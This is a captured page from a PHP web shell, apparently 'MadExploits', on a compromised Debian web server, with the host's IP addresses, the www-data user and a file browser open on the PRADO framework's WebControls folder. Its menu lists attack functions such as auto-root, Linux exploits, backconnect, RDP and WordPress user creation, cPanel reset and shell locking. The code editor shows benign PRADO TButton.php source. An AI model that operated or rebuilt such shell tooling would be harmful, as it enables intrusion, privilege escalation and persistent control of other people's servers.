Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.226.187.60
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Web /
UI /
WebControls /
[ HOME SHELL ]
Name
Size
Permission
Action
assets
[ DIR ]
drwxr-xr-x
IDataSource.php
507
B
-rw-r--r--
IItemDataRenderer.php
1.34
KB
-rw-r--r--
IListControlAdapter.php
1.22
KB
-rw-r--r--
IRepeatInfoUser.php
1.55
KB
-rw-r--r--
IStyleable.php
774
B
-rw-r--r--
TAccordion.php
16.08
KB
-rw-r--r--
TAccordionView.php
4.45
KB
-rw-r--r--
TAccordionViewCollection.php
1.57
KB
-rw-r--r--
TBaseDataList.php
5.45
KB
-rw-r--r--
TBaseValidator.php
19.79
KB
-rw-r--r--
TBoundColumn.php
7.11
KB
-rw-r--r--
TBulletStyle.php
913
B
-rw-r--r--
TBulletedList.php
12.14
KB
-rw-r--r--
TBulletedListDisplayMode.php
917
B
-rw-r--r--
TBulletedListEventParameter.ph...
993
B
-rw-r--r--
TButton.php
11.42
KB
-rw-r--r--
TButtonColumn.php
8.5
KB
-rw-r--r--
TButtonColumnType.php
791
B
-rw-r--r--
TButtonTag.php
705
B
-rw-r--r--
TButtonType.php
756
B
-rw-r--r--
TCaptcha.php
16.31
KB
-rw-r--r--
TCaptchaValidator.php
4
KB
-rw-r--r--
TCheckBox.php
15.02
KB
-rw-r--r--
TCheckBoxColumn.php
3.68
KB
-rw-r--r--
TCheckBoxItem.php
520
B
-rw-r--r--
TCheckBoxList.php
14.43
KB
-rw-r--r--
TCircleHotSpot.php
1.84
KB
-rw-r--r--
TClientScript.php
4.41
KB
-rw-r--r--
TClientSideValidationSummaryOp...
2.38
KB
-rw-r--r--
TColorPicker.php
6.83
KB
-rw-r--r--
TColorPickerClientSide.php
847
B
-rw-r--r--
TColorPickerMode.php
815
B
-rw-r--r--
TCompareValidator.php
7.5
KB
-rw-r--r--
TCompleteWizardStep.php
960
B
-rw-r--r--
TConditional.php
4.33
KB
-rw-r--r--
TContent.php
1.67
KB
-rw-r--r--
TContentDirection.php
811
B
-rw-r--r--
TContentPlaceHolder.php
1.73
KB
-rw-r--r--
TCustomValidator.php
4.46
KB
-rw-r--r--
TDataBoundControl.php
15.37
KB
-rw-r--r--
TDataGrid.php
48.32
KB
-rw-r--r--
TDataGridColumn.php
17.06
KB
-rw-r--r--
TDataGridColumnCollection.php
1.83
KB
-rw-r--r--
TDataGridCommandEventParameter...
2.06
KB
-rw-r--r--
TDataGridItem.php
3.62
KB
-rw-r--r--
TDataGridItemCollection.php
1.34
KB
-rw-r--r--
TDataGridItemEventParameter.ph...
1.4
KB
-rw-r--r--
TDataGridItemRenderer.php
539
B
-rw-r--r--
TDataGridPageChangedEventParam...
1.84
KB
-rw-r--r--
TDataGridPager.php
1.75
KB
-rw-r--r--
TDataGridPagerButtonType.php
1022
B
-rw-r--r--
TDataGridPagerEventParameter.p...
1.42
KB
-rw-r--r--
TDataGridPagerMode.php
1.04
KB
-rw-r--r--
TDataGridPagerPosition.php
1.16
KB
-rw-r--r--
TDataGridPagerStyle.php
7.44
KB
-rw-r--r--
TDataGridSortCommandEventParam...
1.93
KB
-rw-r--r--
TDataList.php
46.45
KB
-rw-r--r--
TDataListCommandEventParameter...
1.81
KB
-rw-r--r--
TDataListItem.php
3.29
KB
-rw-r--r--
TDataListItemCollection.php
1.06
KB
-rw-r--r--
TDataListItemEventParameter.ph...
1.16
KB
-rw-r--r--
TDataListItemRenderer.php
4.6
KB
-rw-r--r--
TDataRenderer.php
1.11
KB
-rw-r--r--
TDataSize.php
4.22
KB
-rw-r--r--
TDataSourceControl.php
1.36
KB
-rw-r--r--
TDataSourceSelectParameters.ph...
1.51
KB
-rw-r--r--
TDataSourceView.php
2.23
KB
-rw-r--r--
TDataTypeValidator.php
3.89
KB
-rw-r--r--
TDatePicker.php
26.21
KB
-rw-r--r--
TDatePickerClientScript.php
1.22
KB
-rw-r--r--
TDatePickerInputMode.php
746
B
-rw-r--r--
TDatePickerMode.php
1.08
KB
-rw-r--r--
TDatePickerPositionMode.php
766
B
-rw-r--r--
TDisplayStyle.php
994
B
-rw-r--r--
TDropDownList.php
4.58
KB
-rw-r--r--
TDropDownListColumn.php
10.06
KB
-rw-r--r--
TEditCommandColumn.php
7.97
KB
-rw-r--r--
TEmailAddressValidator.php
2.68
KB
-rw-r--r--
TExpression.php
1.42
KB
-rw-r--r--
TFileUpload.php
11.86
KB
-rw-r--r--
TFileUploadItem.php
4.03
KB
-rw-r--r--
TFlushOutput.php
2.25
KB
-rw-r--r--
TFont.php
8.93
KB
-rw-r--r--
TGravatar.php
4.65
KB
-rw-r--r--
THead.php
5
KB
-rw-r--r--
THeader1.php
675
B
-rw-r--r--
THeader2.php
675
B
-rw-r--r--
THeader3.php
675
B
-rw-r--r--
THeader4.php
674
B
-rw-r--r--
THeader5.php
674
B
-rw-r--r--
THeader6.php
674
B
-rw-r--r--
THiddenField.php
5.82
KB
-rw-r--r--
THorizontalAlign.php
921
B
-rw-r--r--
THotSpot.php
8.73
KB
-rw-r--r--
THotSpotCollection.php
1.02
KB
-rw-r--r--
THotSpotMode.php
901
B
-rw-r--r--
THtmlArea.php
12.41
KB
-rw-r--r--
THtmlArea5.php
11.53
KB
-rw-r--r--
THtmlElement.php
1.62
KB
-rw-r--r--
THyperLink.php
7.41
KB
-rw-r--r--
THyperLinkColumn.php
7.61
KB
-rw-r--r--
TImage.php
4.29
KB
-rw-r--r--
TImageButton.php
11.67
KB
-rw-r--r--
TImageClickEventParameter.php
1.52
KB
-rw-r--r--
TImageMap.php
6.86
KB
-rw-r--r--
TImageMapEventParameter.php
1.06
KB
-rw-r--r--
TInlineFrame.php
7.89
KB
-rw-r--r--
TInlineFrameAlign.php
1018
B
-rw-r--r--
TInlineFrameScrollBars.php
917
B
-rw-r--r--
TItemDataRenderer.php
2.17
KB
-rw-r--r--
TJavascriptLogger.php
2.8
KB
-rw-r--r--
TKeyboard.php
5.92
KB
-rw-r--r--
TLabel.php
3.95
KB
-rw-r--r--
TLinkButton.php
10.45
KB
-rw-r--r--
TListBox.php
6.57
KB
-rw-r--r--
TListControl.php
24.23
KB
-rw-r--r--
TListControlValidator.php
5.84
KB
-rw-r--r--
TListItem.php
4.93
KB
-rw-r--r--
TListItemType.php
1.11
KB
-rw-r--r--
TListSelectionMode.php
684
B
-rw-r--r--
TLiteral.php
2.82
KB
-rw-r--r--
TLiteralColumn.php
4.08
KB
-rw-r--r--
TMarkdown.php
1.99
KB
-rw-r--r--
TMetaTag.php
3.53
KB
-rw-r--r--
TMetaTagCollection.php
1.83
KB
-rw-r--r--
TMultiView.php
8.34
KB
-rw-r--r--
TOutputCache.php
15.99
KB
-rw-r--r--
TOutputCacheCalculateKeyEventP...
1.04
KB
-rw-r--r--
TOutputCacheCheckDependencyEve...
1.38
KB
-rw-r--r--
TOutputCacheTextWriterMulti.ph...
975
B
-rw-r--r--
TPageLoadTime.php
1.31
KB
-rw-r--r--
TPager.php
21.73
KB
-rw-r--r--
TPagerButtonType.php
714
B
-rw-r--r--
TPagerMode.php
838
B
-rw-r--r--
TPagerPageChangedEventParamete...
1.54
KB
-rw-r--r--
TPanel.php
6.39
KB
-rw-r--r--
TPanelStyle.php
8.09
KB
-rw-r--r--
TPlaceHolder.php
616
B
-rw-r--r--
TPolygonHotSpot.php
1.11
KB
-rw-r--r--
TRadioButton.php
9.39
KB
-rw-r--r--
TRadioButtonItem.php
533
B
-rw-r--r--
TRadioButtonList.php
2.29
KB
-rw-r--r--
TRangeValidationDataType.php
696
B
-rw-r--r--
TRangeValidator.php
9.76
KB
-rw-r--r--
TRatingList.php
8.75
KB
-rw-r--r--
TReCaptcha.php
11.79
KB
-rw-r--r--
TReCaptcha2.php
10.95
KB
-rw-r--r--
TReCaptcha2Validator.php
3.43
KB
-rw-r--r--
TReCaptchaValidator.php
4.19
KB
-rw-r--r--
TReadOnlyDataSource.php
1.1
KB
-rw-r--r--
TReadOnlyDataSourceView.php
1.01
KB
-rw-r--r--
TRectangleHotSpot.php
2.36
KB
-rw-r--r--
TRegularExpressionValidator.ph...
4.16
KB
-rw-r--r--
TRepeatDirection.php
681
B
-rw-r--r--
TRepeatInfo.php
13.51
KB
-rw-r--r--
TRepeatLayout.php
872
B
-rw-r--r--
TRepeater.php
23.8
KB
-rw-r--r--
TRepeaterCommandEventParameter...
1.81
KB
-rw-r--r--
TRepeaterItem.php
2.83
KB
-rw-r--r--
TRepeaterItemCollection.php
1.07
KB
-rw-r--r--
TRepeaterItemEventParameter.ph...
1.13
KB
-rw-r--r--
TRepeaterItemRenderer.php
1.24
KB
-rw-r--r--
TRequiredFieldValidator.php
4.56
KB
-rw-r--r--
TSafeHtml.php
2.07
KB
-rw-r--r--
TScrollBars.php
953
B
-rw-r--r--
TServerValidateEventParameter....
1.37
KB
-rw-r--r--
TSlider.php
14.93
KB
-rw-r--r--
TSliderClientScript.php
1.78
KB
-rw-r--r--
TSliderDirection.php
749
B
-rw-r--r--
TStatements.php
1.44
KB
-rw-r--r--
TStyle.php
9.84
KB
-rw-r--r--
TStyleSheet.php
3.62
KB
-rw-r--r--
TTabPanel.php
14.67
KB
-rw-r--r--
TTabView.php
4.83
KB
-rw-r--r--
TTabViewCollection.php
1.55
KB
-rw-r--r--
TTable.php
9.63
KB
-rw-r--r--
TTableCaptionAlign.php
862
B
-rw-r--r--
TTableCell.php
5.77
KB
-rw-r--r--
TTableCellCollection.php
1.1
KB
-rw-r--r--
TTableFooterRow.php
882
B
-rw-r--r--
TTableGridLines.php
902
B
-rw-r--r--
TTableHeaderCell.php
2.4
KB
-rw-r--r--
TTableHeaderRow.php
882
B
-rw-r--r--
TTableHeaderScope.php
766
B
-rw-r--r--
TTableItemStyle.php
5.5
KB
-rw-r--r--
TTableRow.php
3.8
KB
-rw-r--r--
TTableRowCollection.php
1.08
KB
-rw-r--r--
TTableRowSection.php
761
B
-rw-r--r--
TTableStyle.php
8.84
KB
-rw-r--r--
TTemplateColumn.php
7.93
KB
-rw-r--r--
TTemplatedWizardStep.php
2.93
KB
-rw-r--r--
TTextAlign.php
608
B
-rw-r--r--
TTextBox.php
19.32
KB
-rw-r--r--
TTextBoxAutoCompleteType.php
1.87
KB
-rw-r--r--
TTextBoxMode.php
2.3
KB
-rw-r--r--
TTextHighlighter.php
6.53
KB
-rw-r--r--
TTextProcessor.php
2.28
KB
-rw-r--r--
TValidationCompareOperator.php
959
B
-rw-r--r--
TValidationDataType.php
749
B
-rw-r--r--
TValidationSummary.php
11.78
KB
-rw-r--r--
TValidationSummaryDisplayMode....
1.09
KB
-rw-r--r--
TValidationSummaryDisplayStyle...
1017
B
-rw-r--r--
TValidatorClientSide.php
2.96
KB
-rw-r--r--
TValidatorDisplayStyle.php
951
B
-rw-r--r--
TVerticalAlign.php
836
B
-rw-r--r--
TView.php
2.23
KB
-rw-r--r--
TViewCollection.php
1.09
KB
-rw-r--r--
TWebControl.php
12.65
KB
-rw-r--r--
TWebControlAdapter.php
1.98
KB
-rw-r--r--
TWebControlDecorator.php
10.94
KB
-rw-r--r--
TWizard.php
41.24
KB
-rw-r--r--
TWizardFinishNavigationTemplat...
1.49
KB
-rw-r--r--
TWizardNavigationButtonStyle.p...
3.89
KB
-rw-r--r--
TWizardNavigationButtonType.ph...
825
B
-rw-r--r--
TWizardNavigationContainer.php
1.85
KB
-rw-r--r--
TWizardNavigationEventParamete...
2.15
KB
-rw-r--r--
TWizardNavigationTemplate.php
2.29
KB
-rw-r--r--
TWizardSideBarListItemTemplate...
907
B
-rw-r--r--
TWizardSideBarTemplate.php
1003
B
-rw-r--r--
TWizardStartNavigationTemplate...
1.21
KB
-rw-r--r--
TWizardStep.php
2.34
KB
-rw-r--r--
TWizardStepCollection.php
1.79
KB
-rw-r--r--
TWizardStepNavigationTemplate....
1.45
KB
-rw-r--r--
TWizardStepType.php
1.01
KB
-rw-r--r--
TXmlTransform.php
5.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TButton.php
<?php /** * TButton class file. * * @author Qiang Xue <qiang.xue@gmail.com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Web\UI\WebControls; use Prado\Web\UI\TCommandEventParameter; use Prado\TPropertyValue; /** * TButton class * * TButton creates a click button on the page. It is mainly used to submit data to a page. * * TButton raises two server-side events, {@link onClick OnClick} and {@link onCommand OnCommand}, * when it is clicked on the client-side. The difference between these two events * is that the event {@link onCommand OnCommand} is bubbled up to the button's ancestor controls. * And within the event parameter for {@link onCommand OnCommand} contains the reference * to the {@link setCommandName CommandName} and {@link setCommandParameter CommandParameter} * property values that are set for the button object. This allows you to create multiple TButton * components on a Web page and programmatically determine which one is clicked * with what parameter. * * Clicking on button can also trigger form validation, if * {@link setCausesValidation CausesValidation} is true. * The validation may be restricted within a certain group of validator * controls by setting {@link setValidationGroup ValidationGroup} property. * If validation is successful, the data will be post back to the same page. * * TButton displays the {@link setText Text} property as the button caption. * * TButton by default renders an input tag; the {@link setButtonTag ButtonTag} * property can be used to render a button tag (introduced in html5). * * TButton can be one of three {@link setButtonType ButtonType}: Submit, Button and Reset. * By default, it is a Submit button and the form submission uses the browser's * default submission capability. If it is Button or Reset, postback may occur * if one of the following conditions is met: * - an event handler is attached to {@link onClick OnClick} event; * - an event handler is attached to {@link onCommand OnCommand} event; * - the button is in a non-empty validation group. * In addition, clicking on a Reset button will clear up all input fields * if the button does not cause a postback. * * @author Qiang Xue <qiang.xue@gmail.com> * @since 3.0 */ class TButton extends \Prado\Web\UI\WebControls\TWebControl implements \Prado\Web\UI\IPostBackEventHandler, \Prado\Web\UI\IButtonControl, \Prado\IDataRenderer { /** * @return string tag name of the button */ protected function getTagName() { return strtolower($this->getButtonTag()); } /** * @return TButtonTag the tag name of the button. Defaults to TButtonType::Input. */ public function getButtonTag() { return $this->getViewState('ButtonTag', TButtonTag::Input); } /** * @param TButtonTag $value the tag name of the button. */ public function setButtonTag($value) { $this->setViewState('ButtonTag', TPropertyValue::ensureEnum($value, 'TButtonTag'), TButtonTag::Input); } /** * @return bool whether to render javascript. */ public function getEnableClientScript() { return $this->getViewState('EnableClientScript', true); } /** * @param bool $value whether to render javascript. */ public function setEnableClientScript($value) { $this->setViewState('EnableClientScript', TPropertyValue::ensureBoolean($value), true); } /** * Adds attribute name-value pairs to renderer. * This overrides the parent implementation with additional button specific attributes. * @param \Prado\Web\UI\THtmlWriter $writer the writer used for the rendering purpose */ protected function addAttributesToRender($writer) { $page = $this->getPage(); $page->ensureRenderInForm($this); $writer->addAttribute('type', strtolower($this->getButtonType())); if (($uniqueID = $this->getUniqueID()) !== '') { $writer->addAttribute('name', $uniqueID); } if ($this->getButtonTag() === TButtonTag::Button) { $this->addParsedObject($this->getText()); } else { $writer->addAttribute('value', $this->getText()); } if ($this->getEnabled(true)) { if ($this->getEnableClientScript() && $this->needPostBackScript()) { $this->renderClientControlScript($writer); } } elseif ($this->getEnabled()) { // in this case, parent will not render 'disabled' $writer->addAttribute('disabled', 'disabled'); } parent::addAttributesToRender($writer); } /** * Renders the client-script code. * @param mixed $writer */ protected function renderClientControlScript($writer) { $writer->addAttribute('id', $this->getClientID()); $this->getPage()->getClientScript()->registerPostBackControl($this->getClientClassName(), $this->getPostBackOptions()); } /** * Gets the name of the javascript class responsible for performing postback for this control. * This method overrides the parent implementation. * @return string the javascript class name */ protected function getClientClassName() { return 'Prado.WebUI.TButton'; } /** * @return bool whether to perform validation if the button is clicked */ protected function canCauseValidation() { if ($this->getCausesValidation()) { $group = $this->getValidationGroup(); return $this->getPage()->getValidators($group)->getCount() > 0; } else { return false; } } /** * @param bool $value set by a panel to register this button as the default button for the panel. */ public function setIsDefaultButton($value) { $this->setViewState('IsDefaultButton', TPropertyValue::ensureBoolean($value), false); } /** * @return bool true if this button is registered as a default button for a panel. */ public function getIsDefaultButton() { return $this->getViewState('IsDefaultButton', false); } /** * @return bool whether the button needs javascript to do postback */ protected function needPostBackScript() { return $this->canCauseValidation() || ($this->getButtonType() !== TButtonType::Submit && ($this->hasEventHandler('OnClick') || $this->hasEventHandler('OnCommand'))) || $this->getIsDefaultButton(); } /** * Returns postback specifications for the button. * This method is used by framework and control developers. * @return array parameters about how the button defines its postback behavior. */ protected function getPostBackOptions() { $options['ID'] = $this->getClientID(); $options['CausesValidation'] = $this->getCausesValidation(); $options['EventTarget'] = $this->getUniqueID(); $options['ValidationGroup'] = $this->getValidationGroup(); return $options; } /** * Renders the body content enclosed between the control tag. * This overrides the parent implementation with nothing to be rendered for input tags, * button tags are rendered normally. * @param \Prado\Web\UI\THtmlWriter $writer the writer used for the rendering purpose */ public function renderContents($writer) { if ($this->getButtonTag() === TButtonTag::Button) { parent::renderContents($writer); } } /** * This method is invoked when the button is clicked. * The method raises 'OnClick' event to fire up the event handlers. * If you override this method, be sure to call the parent implementation * so that the event handler can be invoked. * @param \Prado\TEventParameter $param event parameter to be passed to the event handlers */ public function onClick($param) { $this->raiseEvent('OnClick', $this, $param); } /** * This method is invoked when the button is clicked. * The method raises 'OnCommand' event to fire up the event handlers. * If you override this method, be sure to call the parent implementation * so that the event handlers can be invoked. * @param \Prado\Web\UI\TCommandEventParameter $param event parameter to be passed to the event handlers */ public function onCommand($param) { $this->raiseEvent('OnCommand', $this, $param); $this->raiseBubbleEvent($this, $param); } /** * Raises the postback event. * This method is required by {@link IPostBackEventHandler} interface. * If {@link getCausesValidation CausesValidation} is true, it will * invoke the page's {@link TPage::validate validate} method first. * It will raise {@link onClick OnClick} and {@link onCommand OnCommand} events. * This method is mainly used by framework and control developers. * @param \Prado\TEventParameter $param the event parameter */ public function raisePostBackEvent($param) { if ($this->getCausesValidation()) { $this->getPage()->validate($this->getValidationGroup()); } $this->onClick(null); $this->onCommand(new \Prado\Web\UI\TCommandEventParameter($this->getCommandName(), $this->getCommandParameter())); } /** * @return string caption of the button */ public function getText() { return $this->getViewState('Text', ''); } /** * @param string $value caption of the button */ public function setText($value) { $this->setViewState('Text', $value, ''); } /** * Returns the caption of the button. * This method is required by {@link \Prado\IDataRenderer}. * It is the same as {@link getText()}. * @return string caption of the button. * @see getText * @since 3.1.0 */ public function getData() { return $this->getText(); } /** * Sets the caption of the button. * This method is required by {@link \Prado\IDataRenderer}. * It is the same as {@link setText()}. * @param string $value caption of the button * @see setText * @since 3.1.0 */ public function setData($value) { $this->setText($value); } /** * @return bool whether postback event trigger by this button will cause input validation, default is true */ public function getCausesValidation() { return $this->getViewState('CausesValidation', true); } /** * @param bool $value whether postback event trigger by this button will cause input validation */ public function setCausesValidation($value) { $this->setViewState('CausesValidation', TPropertyValue::ensureBoolean($value), true); } /** * @return string the command name associated with the {@link onCommand OnCommand} event. */ public function getCommandName() { return $this->getViewState('CommandName', ''); } /** * @param string $value the command name associated with the {@link onCommand OnCommand} event. */ public function setCommandName($value) { $this->setViewState('CommandName', $value, ''); } /** * @return string the parameter associated with the {@link onCommand OnCommand} event */ public function getCommandParameter() { return $this->getViewState('CommandParameter', ''); } /** * @param string $value the parameter associated with the {@link onCommand OnCommand} event. */ public function setCommandParameter($value) { $this->setViewState('CommandParameter', $value, ''); } /** * @return string the group of validators which the button causes validation upon postback */ public function getValidationGroup() { return $this->getViewState('ValidationGroup', ''); } /** * @param string $value the group of validators which the button causes validation upon postback */ public function setValidationGroup($value) { $this->setViewState('ValidationGroup', $value, ''); } /** * @return TButtonType the type of the button. Defaults to TButtonType::Submit. */ public function getButtonType() { return $this->getViewState('ButtonType', TButtonType::Submit); } /** * @param TButtonType $value the type of the button. */ public function setButtonType($value) { $this->setViewState('ButtonType', TPropertyValue::ensureEnum($value, 'Prado\\Web\\UI\\WebControls\\TButtonType'), TButtonType::Submit); } }
Close